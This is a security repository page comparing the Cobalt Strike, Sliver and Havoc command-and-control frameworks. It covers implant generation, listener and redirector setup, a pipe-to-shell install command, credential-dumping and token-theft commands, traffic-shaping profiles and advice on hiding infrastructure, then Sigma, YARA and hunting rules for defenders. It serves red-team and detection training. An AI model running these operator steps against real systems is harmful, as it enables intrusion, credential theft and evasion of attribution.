Repository navigation
C2 Frameworks Deep Dive
Scope: Cobalt Strike, Sliver, and Havoc - architecture, deployment, OpSec considerations, detection signatures, and defensive countermeasures.
โ Quick-reference checklist: Command and Control
- C2 Architecture Fundamentals
- Cobalt Strike
- Sliver
- Havoc
- Malleable C2 & Traffic Shaping
- Infrastructure OpSec
- Detection & Hunting
- Defensive Countermeasures
Deep-dive on the three C2 frameworks a red team is most likely to encounter or deploy (Cobalt Strike, Sliver, Havoc) - architecture, OpSec, and detection in one place, rather than scattered across each tool's own docs.
Covers C2 architecture fundamentals, then a dedicated section per framework (Cobalt Strike, Sliver, Havoc), followed by cross-framework Malleable C2/traffic-shaping, infrastructure OpSec, detection/hunting, and defensive countermeasures. Pairs with the quick-reference Command & Control checklist for field use, and differs from av-edr-evasion.md, which covers evading endpoint detection rather than C2 channel/infrastructure design.
An operator can stand up and OpSec-harden a C2 infrastructure for any of the three frameworks, and a defender can recognize and hunt for their traffic/behavioral signatures.
When selecting or configuring a C2 framework for an engagement, or when building detections/hunts for C2 traffic on the defensive side.
A Command and Control (C2) framework provides operators with a persistent channel to interact with compromised hosts. Core components:
[Operator] โโโบ [Team Server / Listener] โโโโบ [Redirectors] โโโโบ [Implant on Target]
Key concepts:
| Term | Description |
|---|---|
| Listener | Server-side component that receives beacon callbacks |
| Implant/Agent | Malicious payload running on the target |
| Redirector | Intermediate hop to obscure true C2 infrastructure |
| Profile | Configuration controlling beacon behavior and traffic appearance |
| Sleep/Jitter | Beacon callback interval ยฑ random variance to evade timing-based detection |
| Stager | Small loader that fetches and executes the full payload |
Protocol options across frameworks:
- HTTP/HTTPS (most common, blends with web traffic)
- DNS (low-and-slow, bypasses many egress filters)
- SMB (lateral movement within network, named pipes)
- TCP (raw, fast, noisier)
- WebSockets / gRPC (emerging, harder to inspect)
Cobalt Strike (CS) is a commercial adversary simulation platform. Its Beacon payload is one of the most widely analyzed implants in existence - OpSec requires heavy customization.
# Start team server (Linux)
./teamserver <external_IP> <password> [malleable_profile.c2]
# Recommended: run behind a redirector, never expose team server directly
# Use a systemd service for persistence
sudo nano /etc/systemd/system/cobaltstrike.service[Unit]
Description=Cobalt Strike Team Server
After=network.target
[Service]
Type=simple
ExecStart=/opt/cobaltstrike/teamserver 0.0.0.0 SuperSecretPass /opt/profiles/custom.c2
WorkingDirectory=/opt/cobaltstrike
Restart=always
[Install]
WantedBy=multi-user.target| Beacon | Protocol | Use Case |
|---|---|---|
| HTTP/HTTPS Beacon | HTTP/S | General purpose |
| DNS Beacon | DNS A/TXT/MX | Egress-restricted networks |
| SMB Beacon | Named pipes | Lateral movement (no internet required) |
| TCP Beacon | Raw TCP | Internal pivoting |
| External C2 | Custom channel | Slack, Twitter, OneDrive exfil channels |
# Execution
shell <cmd> # Spawn cmd.exe, execute command
run <cmd> # Execute without shell
execute-assembly <asm> # Run .NET assembly in memory
powershell <cmd> # Run PowerShell
powerpick <cmd> # Unmanaged PowerShell (no powershell.exe)
# Lateral Movement
jump psexec <target> <share> <listener>
jump winrm <target> <listener>
jump psexec_psh <target> <listener>
# Credential Harvesting
hashdump # Dump SAM hashes (requires SYSTEM)
logonpasswords # Mimikatz sekurlsa::logonpasswords
dcsync <domain> <user> # DCSync attack via drsuapi
# Post-Exploitation
getsystem # Attempt privilege escalation
steal_token <PID> # Impersonate process token
make_token <user> <pass> # Create token from credentials
rev2self # Revert to original token
# Pivoting
socks 1080 # Start SOCKS4a proxy
rportfwd <lport> <rhost> <rport> # Reverse port forwardDefault CS artifacts are heavily signatured. Use Artifact Kit to customize:
- Replace default loader stubs with custom shellcode runners
- Modify PE headers, section names, import tables
- Change default sleep mask to obfuscate heap memory
- Use BOFs (Beacon Object Files) for in-process execution without fork-and-run
โ Avoid:
- Default 60s sleep with 0% jitter
- Default HTTP headers in Beacon traffic
- Spawning cmd.exe / powershell.exe for every command
- Using default artifacts (will be flagged by any AV)
- Exposing team server port (50050) to internet
โ
Do:
- Use malleable C2 profiles mimicking legitimate services
- Set sleep 300 60 (5 min sleep, 60% jitter minimum)
- Enable spawnto customization (avoid WerFault.exe, etc.)
- Use SMB beacons for post-exploitation lateral movement
- Rotate infrastructure regularly
Sliver is an open-source C2 framework from BishopFox. Written in Go - implants compile to native binaries with no external dependencies. Actively developed and increasingly used in real-world operations.
# Server install (Linux)
curl https://sliver.sh/install | sudo bash
# Start Sliver server
sliver-server
# Connect client
sliver-client# HTTPS implant
generate --http https://your.redirector.com --os windows --arch amd64 --save /tmp/implant.exe
# mTLS implant (more secure, harder to detect)
generate --mtls your.c2server.com:8888 --os windows --arch amd64
# DNS implant
generate --dns c2.yourdomain.com --os linux --arch amd64
# Shellcode output (for injection)
generate --http https://c2.example.com --format shellcode --save /tmp/payload.bin
# Stager (small loader, fetches full implant)
generate stager --lhost 192.168.1.100 --lport 443 --protocol https# Start HTTPS listener
https --lhost 0.0.0.0 --lport 443
# Start mTLS listener
mtls --lhost 0.0.0.0 --lport 8888
# DNS listener
dns --domains c2.yourdomain.com
# WireGuard tunnel listener
wg --lhost 0.0.0.0 --lport 51820# List active sessions
sessions
# Interact with session
use <session_id>
# Core commands
execute -o whoami
shell # Interactive shell
upload /local/file /remote/path
download /remote/file /local/path
ps # Process list
getpid
getuid
getsystem # Attempt privilege escalation
impersonate <username> # Token impersonation
make-token -u <user> -p <pass> -d <domain>
# Lateral movement
psexec --hostname <target> --service <name> --exe <implant>
# Post-exploitation
hashdump
dcsync --domain corp.local --user Administrator
execute-assembly <dotnet.exe> [args]
sideload <shared_lib.dll> <entrypoint> # Reflective DLL injection# Install community extensions
armory install all
# Notable extensions
armory install rubeus # Kerberos attacks
armory install seatbelt # Host enumeration
armory install sharpup # Privilege escalation checks
armory install bofnet # BOF support- Traffic profiles: Sliver supports custom HTTP C2 profiles (similar to CS malleable)
- mTLS: Mutual TLS provides strong authentication; certificate pinning prevents MITM inspection
- Canary domains: Built-in canary detection to alert if implant is being analyzed
- Evasion: Supports LLVM obfuscation via garble, custom compile flags
Havoc is an open-source, modern C2 framework with a Qt-based GUI. Written in C/C++ and Go. Demon implant supports indirect syscalls, sleep obfuscation, and token manipulation natively.
# Install dependencies
sudo apt install -y git build-essential cmake libssl-dev pkg-config \
libboost-all-dev mingw-w64 nasm python3-dev qtbase5-dev qtchooser
# Clone and build
git clone https://github.com/HavocFramework/Havoc.git
cd Havoc
make ts-build # Build team server
make client-build # Build client GUI# profiles/havoc.yaotl
Teamserver {
Host = "0.0.0.0"
Port = 40056
Build {
Compiler64 = "x86_64-w64-mingw32-gcc"
Nasm = "/usr/bin/nasm"
}
}
Operators {
user "operator1" {
Password = "S3cur3P@ss"
}
}
Listeners {
Http {
Name = "https-listener"
Hosts = ["your.redirector.com"]
Port = 443
Secure = true
Cert = "/path/to/cert.pem"
Key = "/path/to/key.pem"
Response {
Headers = [
"Content-type: text/html",
"Server: Apache"
]
}
}
}The Demon agent has several built-in evasion capabilities:
| Feature | Description |
|---|---|
| Indirect Syscalls | Avoids hooked ntdll.dll functions via custom syscall stubs |
| Sleep Obfuscation | Encrypts implant in memory during sleep (Ekko/Foliage technique) |
| Stack Duplication | Spoofs call stack during sleep to evade memory scanning |
| Token Vault | Stores and manages impersonation tokens |
| PE Stomping | Overwrites implant PE headers to defeat signature scans |
# Process injection
inject <PID> <arch> <shellcode_file>
shinject <PID> <arch> <shellcode_file> # Shellcode injection
# Token operations
token steal <PID>
token make <domain\user> <password>
token list
token revert
# Kerberos
kerberos ticket import <ticket.kirbi>
kerberos ticket list
# Pivoting
socks5 add --port 1080
portfwd add --fport 8080 --thost 192.168.1.10 --tport 80
# .NET execution
dotnet inline-execute <assembly.exe> [args]
dotnet list-assembliesMalleable C2 (Cobalt Strike) and equivalent profile systems allow operators to mimic legitimate application traffic.
# Example: Mimic Microsoft Update traffic
set sleeptime "45000";
set jitter "30";
set useragent "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36";
http-get {
set uri "/updates/download/windowsupdate";
client {
header "Accept" "application/octet-stream";
header "Accept-Encoding" "identity";
header "Connection" "close";
metadata {
base64url;
prepend "sessionToken=";
header "Cookie";
}
}
server {
header "Content-Type" "application/octet-stream";
header "Cache-Control" "no-cache";
output {
base64url;
prepend "MZ";
print;
}
}
}# Validate CS profile before use
./c2lint custom_profile.c2# .sliver/configs/http-c2.yaml
implant_config:
user_agent: "Mozilla/5.0 (Windows NT 10.0; Win64; x64)"
chrome_extensions: []
server_headers:
- "Server: Apache/2.4.51"
- "X-Powered-By: PHP/7.4.3"
paths:
- /assets/bootstrap.min.js
- /cdn-cgi/challenge-platform/h/b/orchestrate/managed_widgets
- /wp-includes/js/jquery/jquery.min.jsRedirectors hide your team server from direct exposure. Never point beacons directly at the team server.
Internet โโโบ [CDN/Domain Fronting] โโโบ [Redirector VPS] โโโบ [Team Server]
Nginx redirector config:
server {
listen 443 ssl;
server_name your.redirector.com;
ssl_certificate /etc/letsencrypt/live/your.redirector.com/fullchain.pem;
ssl_certificate_key /etc/letsencrypt/live/your.redirector.com/privkey.pem;
# Only forward known beacon URIs, block everything else
location /updates/download/ {
proxy_pass https://TEAM_SERVER_IP:443;
proxy_ssl_verify off;
proxy_set_header Host $host;
proxy_set_header X-Forwarded-For $remote_addr;
}
# Block everything else (analyst crawlers, scanners)
location / {
return 302 https://microsoft.com$request_uri;
}
}- Categorized domains: Purchase aged domains already categorized as Finance, IT, News
- Certificate: Always use a valid TLS cert (Let's Encrypt) - avoid self-signed
- Domain fronting: Route traffic through CDNs (Cloudflare, AWS CloudFront) when possible
- TTL: Set short DNS TTL early, then lengthen - allows fast pivoting if burned
Campaign A infrastructure โโโบ different VPS provider, different domain registrar
Campaign B infrastructure โโโบ different VPS provider, different domain registrar
Never reuse:
- IP addresses across campaigns
- SSL certificates
- Domain registrar accounts
- Payment methods
# Sigma rule: Suspicious beacon jitter pattern
title: C2 Beacon Regular Interval Callback
logsource:
category: network
detection:
selection:
dst_port:
- 80
- 443
condition: selection
timeframe: 1h
aggregate: count() > 10 AND stddev(interval) < 5 # Low jitter = beaconKey network IOCs:
- Regular callback intervals (low standard deviation in connection timing)
- Small consistent POST sizes (beacon check-in)
- HTTP responses with high entropy content
- Connections to newly registered domains (< 30 days old)
- Beacons to IP addresses (no domain) over 443
- DNS beacons: high volume TXT/NULL queries to single domain
# Hunt for common CS injection patterns
Get-Process | Where-Object {
$_.MainWindowTitle -eq "" -and
$_.Modules.Count -lt 5 -and
$_.WorkingSet -gt 10MB
}
# Detect fork-and-run (CS default behavior)
# Look for short-lived child processes spawned by beacon's spawnto
Get-WinEvent -LogName Security -FilterXPath "*[System[EventID=4688]]" |
Where-Object { $_.Properties[5].Value -match "WerFault|rundll32|gpupdate" }YARA rule for Cobalt Strike Beacon:
rule CobaltStrike_Beacon_Generic {
meta:
description = "Detects common CS Beacon artifacts"
strings:
$s1 = "%s (admin)" ascii
$s2 = "beacon.dll" ascii nocase
$s3 = { 68 65 61 70 61 70 69 } // "heapapi"
$mz = { 4D 5A }
condition:
$mz at 0 and 2 of ($s*)
}- mTLS sessions: Look for certificate pinning failures in proxy logs
- Implant binary: Go binaries have identifiable section layouts (
.gopclntab) - Default canary domain callbacks during sandbox analysis
- Demon implant default user-agent strings
- Indirect syscall patterns in memory (gadget chains in non-standard modules)
- Sleep obfuscation: encrypted RX memory regions that flip permissions
# Block known C2 IOC feeds
# Integrate with: Emerging Threats, Abuse.ch, MISP, OpenCTI
# DNS RPZ (Response Policy Zone) to block C2 domains
# In BIND/Unbound, load RPZ feed from threat intel provider
# Egress filtering - whitelist approach
iptables -P OUTPUT DROP
iptables -A OUTPUT -m state --state ESTABLISHED,RELATED -j ACCEPT
iptables -A OUTPUT -d <approved_proxy_IP> -p tcp --dport 3128 -j ACCEPT-
EDR tuning: Alert on
CreateRemoteThread,VirtualAllocEx,WriteProcessMemoryAPI calls from non-standard processes - AMSI/ETW: Ensure AMSI and ETW providers are not disabled (common evasion step)
- LOLBin monitoring: Alert on unusual parent-child process relationships (e.g., Word spawning PowerShell)
- Memory scanning: Use tools like PE-sieve, Moneta, or Volatility to detect injected implants
| Priority | Detection | Coverage |
|---|---|---|
| High | Fork-and-run process spawning | CS default behavior |
| High | In-memory .NET assembly execution | execute-assembly |
| High | LSASS access from non-standard processes | Credential dumping |
| Medium | Regular interval outbound connections | Beacon heartbeat |
| Medium | DNS TXT record volume spikes | DNS C2 |
| Low | Go binary section signatures | Sliver implants |
- Cobalt Strike Documentation
- Sliver Wiki
- Havoc Framework
- Malleable C2 Profiles
- MITRE ATT&CK: C2
- C2 Matrix
- README.md - Tradecraft section index
- active-directory.md - Post-exploitation via C2 in AD environments
- av-edr-evasion.md - Evasion techniques for C2 payload delivery
- network-detection.md - Detecting C2 traffic at the network layer
- ../Checklists/command-and-control.md - C2 technique checklist
- ../Mobile/mobile_pentest_sop.md - Mobile pentest SOP (Metasploit post-exploitation from NetHunter device)
๐ Source: Tradecraft/c2-frameworks.md | โ๏ธ Suggest an edit | โฌ
๏ธ Back to Tradecraft
- ๐บ๏ธ Browse by Topic
- ๐ All Repository Files
- ๐งญ Learning Paths
- ๐ Master Guide
- ๐ค Glossary
- โ๏ธ Legal & Disclaimer
๐ Foundations & Learning
๐ก๏ธ Defense & Investigations
- Incident Response
- Open Source Intelligence (OSINT)
- Reverse Engineering
- Operations Security (OPSEC)
- Compliance
โ๏ธ Platforms & Infrastructure
๐ก Hardware, Wireless & Field Projects
- PNWC Cyberdeck
- Hardware Testing
- Hardware Hacking
- Software-Defined Radio
- Wardriving
- uConsole
- Space Security
๐งฐ Assessment & Field Reference
๐ฆ Downloads & Project Resources
๐๏ธ Additional Topics